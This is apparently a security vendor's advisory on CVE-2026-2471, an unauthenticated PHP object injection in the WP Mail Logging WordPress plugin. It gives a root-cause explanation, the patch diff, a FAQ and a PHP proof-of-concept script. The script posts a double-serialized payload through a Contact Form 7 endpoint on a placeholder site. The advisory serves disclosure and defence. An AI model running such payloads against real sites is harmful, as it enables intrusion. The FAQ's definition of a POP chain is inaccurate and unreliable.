Atomic Edge analysis of CVE-2026-2471:
The vulnerability is a PHP object injection in the WP Mail Logging plugin. The root cause is in the `WPML_Mail` class constructor at `wp-mail-logging/src/Model/WPML_Mail.php`. The vulnerable version passes all properties directly to the parent `BaseModel` constructor, which calls `maybe_unserialize()` on each property retrieved from the database without validation. This allows arbitrary serialized objects to be deserialized. The attack vector requires an unauthenticated attacker to submit a double-serialized payload through any public-facing form that sends email, such as Contact Form 7. The payload is stored in the email log’s message field. When an administrator views the email log in the WordPress dashboard, the plugin retrieves the log entry, instantiates a `WPML_Mail` object, and the malicious payload is deserialized during object construction. The patch replaces the call to `parent::__construct()` with a custom property assignment loop. The new code checks if a property value is a string and is serialized using `is_serialized()`. If both conditions are true, it calls `unserialize()` with the `allowed_classes` option set to `false`, which prevents object instantiation. The patched code also ensures only non-object unserialized values are assigned to object properties. Without a POP chain present in the plugin itself, the vulnerability has no direct impact. However, if another plugin or theme containing a usable POP chain is installed, exploitation could lead to arbitrary file deletion, data retrieval, or remote code execution.

CVE-2026-2471: WP Mail Logging <= 1.15.0 – Unauthenticated PHP Object Injection via Email Log Message Field (wp-mail-logging)
CVE-2026-2471
wp-mail-logging
1.15.0
1.16.0
Analysis Overview
Differential between vulnerable and patched code
--- a/wp-mail-logging/src/Model/WPML_Mail.php
+++ b/wp-mail-logging/src/Model/WPML_Mail.php
@@ -89,7 +89,31 @@
*/
public function __construct(array $properties = array())
{
- parent::__construct($properties);
+ $model_props = $this->properties();
+ $properties = array_intersect_key($properties, $model_props);
+
+ foreach ( $properties as $property => $value ) {
+
+ if ( ! is_string( $value ) || ! is_serialized( $value ) ) {
+ $this->{$property} = $value;
+ continue;
+ }
+
+ $unserialized_val = unserialize(
+ $value,
+ [
+ 'allowed_classes' => false,
+ ]
+ );
+
+ $property_val = '';
+
+ if ( ! is_object( $unserialized_val ) ) {
+ $property_val = $unserialized_val;
+ }
+
+ $this->{$property} = $property_val;
+ }
}
/**
--- a/wp-mail-logging/src/Renderer/Format/BaseRenderer.php
+++ b/wp-mail-logging/src/Renderer/Format/BaseRenderer.php
@@ -128,7 +128,7 @@
$iframe_title = sprintf(
/* translators: %d - Email Log ID. */
- __( "Email Log ID Content: %d" ),
+ __( "Email Log ID Content: %d", 'wp-mail-logging' ),
absint( $mail['mail_id'] )
)
?>
--- a/wp-mail-logging/src/WPML_Plugin.php
+++ b/wp-mail-logging/src/WPML_Plugin.php
@@ -275,7 +275,7 @@
'<img src="%1$s" srcset="%2$s 2x" alt="%3$s"/>',
esc_url( $assets_url . '/images/logo.png' ),
esc_url( $assets_url . '/images/logo@2x.png' ),
- esc_html__( 'WP Mail Logging logo')
+ esc_html__( 'WP Mail Logging logo', 'wp-mail-logging' )
)
?>
</div>
--- a/wp-mail-logging/src/WPML_PrivacyController.php
+++ b/wp-mail-logging/src/WPML_PrivacyController.php
@@ -51,7 +51,7 @@
function register_exporter( $exporters ) {
$exporters[self::WPML_PRIVACY_EXPORTER] = array(
- 'exporter_friendly_name' => __( 'WP Mail Logging' ),
+ 'exporter_friendly_name' => __( 'WP Mail Logging', 'wp-mail-logging' ),
'callback' => [$this, 'export'],
);
return $exporters;
@@ -59,7 +59,7 @@
function register_eraser( $erasers ) {
$erasers[self::WPML_PRIVACY_ERASER] = array(
- 'eraser_friendly_name' => __( 'WP Mail Logging' ),
+ 'eraser_friendly_name' => __( 'WP Mail Logging', 'wp-mail-logging' ),
'callback' => [$this, 'erase'],
);
return $erasers;
@@ -98,7 +98,7 @@
// If you define your own group, the first exporter to
// include a label will be used as the group label in the
// final exported report
- $group_label = __( 'Mails' );
+ $group_label = __( 'Mails', 'wp-mail-logging' );
// Plugins can add as many items in the item data array as they want
$mail_as_array = $mail->to_array();
--- a/wp-mail-logging/src/inc/class-wp-list-table.php
+++ b/wp-mail-logging/src/inc/class-wp-list-table.php
@@ -406,7 +406,7 @@
$m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
?>
<select name='m'>
- <option<?php selected( $m, 0 ); ?> value='0'><?php _e( 'Show all dates' ); ?></option>
+ <option<?php selected( $m, 0 ); ?> value='0'><?php _e( 'Show all dates', 'wp-mail-logging' ); ?></option>
<?php
foreach ( $months as $arc_row ) {
if ( 0 == $arc_row->year )
@@ -436,7 +436,7 @@
function view_switcher( $current_mode ) {
$modes = array(
'list' => __( 'List View' ),
- 'excerpt' => __( 'Excerpt View' )
+ 'excerpt' => __( 'Excerpt View', 'wp-mail-logging' )
);
?>
@@ -462,7 +462,7 @@
* @param int $pending_comments
*/
function comments_bubble( $post_id, $pending_comments ) {
- $pending_phrase = sprintf( __( '%s pending' ), number_format( $pending_comments ) );
+ $pending_phrase = sprintf( __( '%s pending', 'wp-mail-logging' ), number_format( $pending_comments ) );
if ( $pending_comments )
echo '<strong>';
@@ -530,7 +530,7 @@
extract( $this->_pagination_args, EXTR_SKIP );
- $output = '<span class="displaying-num">' . sprintf( _n( '1 item', '%s items', $total_items ), number_format_i18n( $total_items ) ) . '</span>';
+ $output = '<span class="displaying-num">' . sprintf( _n( '1 item', '%s items', $total_items, 'wp-mail-logging' ), number_format_i18n( $total_items ) ) . '</span>';
$current = $this->get_pagenum();
@@ -548,14 +548,14 @@
$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
'first-page' . $disable_first,
- esc_attr__( 'Go to the first page' ),
+ esc_attr__( 'Go to the first page', 'wp-mail-logging' ),
esc_url( remove_query_arg( 'paged', $current_url ) ),
'«'
);
$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
'prev-page' . $disable_first,
- esc_attr__( 'Go to the previous page' ),
+ esc_attr__( 'Go to the previous page', 'wp-mail-logging' ),
esc_url( add_query_arg( 'paged', max( 1, $current-1 ), $current_url ) ),
'‹'
);
@@ -574,14 +574,14 @@
$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
'next-page' . $disable_last,
- esc_attr__( 'Go to the next page' ),
+ esc_attr__( 'Go to the next page', 'wp-mail-logging' ),
esc_url( add_query_arg( 'paged', min( $total_pages, $current+1 ), $current_url ) ),
'›'
);
$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
'last-page' . $disable_last,
- esc_attr__( 'Go to the last page' ),
+ esc_attr__( 'Go to the last page', 'wp-mail-logging' ),
esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
'»'
);
@@ -945,7 +945,7 @@
$response = array( 'rows' => $rows );
if ( isset( $total_items ) )
- $response['total_items_i18n'] = sprintf( _n( '1 item', '%s items', $total_items ), number_format_i18n( $total_items ) );
+ $response['total_items_i18n'] = sprintf( _n( '1 item', '%s items', $total_items, 'wp-mail-logging' ), number_format_i18n( $total_items ) );
if ( isset( $total_pages ) ) {
$response['total_pages'] = $total_pages;
--- a/wp-mail-logging/vendor/composer/autoload_static.php
+++ b/wp-mail-logging/vendor/composer/autoload_static.php
@@ -7,7 +7,7 @@
class ComposerStaticInit31f994310b2c7d6f9759f25f664a2dcc
{
public static $prefixLengthsPsr4 = array (
- 'N' =>
+ 'N' =>
array (
'No3x\WPML\Tests\Helper\' => 23,
'No3x\WPML\Tests\' => 16,
@@ -18,23 +18,23 @@
);
public static $prefixDirsPsr4 = array (
- 'No3x\WPML\Tests\Helper\' =>
+ 'No3x\WPML\Tests\Helper\' =>
array (
0 => __DIR__ . '/../..' . '/tests/helper',
),
- 'No3x\WPML\Tests\' =>
+ 'No3x\WPML\Tests\' =>
array (
0 => __DIR__ . '/../..' . '/tests/phpunit/tests',
),
- 'No3x\WPML\Migration\' =>
+ 'No3x\WPML\Migration\' =>
array (
0 => __DIR__ . '/../..' . '/src/inc/Migration',
),
- 'No3x\WPML\Helpers\' =>
+ 'No3x\WPML\Helpers\' =>
array (
0 => __DIR__ . '/../..' . '/src/inc/Helpers',
),
- 'No3x\WPML\Admin\' =>
+ 'No3x\WPML\Admin\' =>
array (
0 => __DIR__ . '/../..' . '/src/inc/Admin',
),
--- a/wp-mail-logging/vendor/composer/installed.php
+++ b/wp-mail-logging/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'awesomemotive/wp-mail-logging',
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => '0430a158f3e1b33b25fb2200e97503bca08725e7',
+ 'reference' => '9601ccec98e48e32b10be8e649fbbf591eb8fc10',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -13,7 +13,7 @@
'awesomemotive/wp-mail-logging' => array(
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => '0430a158f3e1b33b25fb2200e97503bca08725e7',
+ 'reference' => '9601ccec98e48e32b10be8e649fbbf591eb8fc10',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/wp-mail-logging/wp-mail-logging.php
+++ b/wp-mail-logging/wp-mail-logging.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Mail Logging
* Plugin URI: https://wordpress.org/plugins/wp-mail-logging/
- * Version: 1.15.0
+ * Version: 1.16.0
* Requires at least: 5.3
* Requires PHP: 7.4
* Author: WP Mail Logging Team
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2471 - WP Mail Logging <= 1.15.0 - Unauthenticated PHP Object Injection via Email Log Message Field
<?php
// This PoC demonstrates the attack vector by submitting a malicious payload via a simulated contact form.
// The payload is a double-serialized string that would trigger object injection when deserialized by the vulnerable plugin.
// Note: Actual exploitation requires a POP chain from another plugin/theme.
$target_url = 'http://vulnerable-site.com/wp-json/contact-form-7/v1/contact-forms/1/feedback';
// Craft a double-serialized payload. The inner serialization represents a malicious object.
// Example: O:8:"stdClass":1:{s:4:"test";s:4:"evil";}
$maliciousObject = 'O:8:"stdClass":1:{s:4:"test";s:4:"evil";}';
$doubleSerialized = serialize($maliciousObject);
// The payload is injected into the email message body, which is logged by WP Mail Logging.
$postData = array(
'your-message' => $doubleSerialized,
'your-name' => 'Attacker',
'your-email' => 'attacker@example.com'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Payload submitted. Check admin email log for potential deserialization.n";
?>
Frequently Asked Questions
What is CVE-2026-2471?
Understanding the vulnerabilityCVE-2026-2471 is a high-severity vulnerability in the WP Mail Logging plugin for WordPress, affecting versions up to 1.15.0. It allows unauthenticated attackers to perform PHP Object Injection via the email log message field, enabling potential exploitation if a vulnerable plugin or theme is present.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the `BaseModel` class constructor in the WP Mail Logging plugin, which calls `maybe_unserialize()` on properties without validation. This allows an attacker to submit a double-serialized payload through public forms, which gets deserialized into an arbitrary PHP object when an administrator views the email log.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the WP Mail Logging plugin version 1.15.0 or earlier is affected. Site administrators should check their installed plugins to determine if they are running a vulnerable version.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the WP Mail Logging plugin installed. If it is version 1.15.0 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the pluginThe vulnerability is patched in version 1.16.0 of the WP Mail Logging plugin. Administrators should update to this version or later to mitigate the risk of exploitation.
What does a CVSS score of 7.5 indicate?
Understanding severity levelsA CVSS score of 7.5 indicates a high severity level, suggesting that the vulnerability poses a significant risk. In practical terms, this means that if exploited, it could lead to unauthorized actions on the site, especially if combined with other vulnerabilities.
What is PHP Object Injection?
Explaining the technical termPHP Object Injection occurs when an attacker is able to inject a serialized object into a PHP application, which is then deserialized by the application. This can lead to arbitrary code execution or other malicious actions if the application processes the injected object improperly.
What is a POP chain and why is it relevant?
Understanding the context of exploitationA POP chain, or PHP Object Injection chain, refers to a sequence of vulnerabilities that allows an attacker to leverage the object injection to execute arbitrary code. In the context of CVE-2026-2471, the vulnerability itself does not have a POP chain, but if another plugin or theme with a POP chain is present, exploitation becomes possible.
How does the proof of concept demonstrate the vulnerability?
Analyzing the provided exampleThe proof of concept illustrates the attack vector by simulating a contact form submission that includes a double-serialized payload. This payload, when logged and viewed by an administrator, triggers the deserialization process, demonstrating how an attacker could exploit the vulnerability.
What steps can I take to mitigate risks if I cannot update immediately?
Temporary measures for protectionIf immediate updating is not possible, consider disabling the WP Mail Logging plugin until it can be updated. Additionally, review other installed plugins and themes for known vulnerabilities that could create a POP chain.
What should I do if I suspect my site has been compromised?
Responding to potential exploitationIf you suspect your site has been compromised, immediately take it offline and conduct a thorough security audit. Check for unauthorized changes, review logs for suspicious activity, and consult with a security professional for remediation.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-2471 can be found on the National Vulnerability Database (NVD) and security advisories related to the WP Mail Logging plugin. Additionally, following security blogs and forums can provide updates on vulnerabilities and patches.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






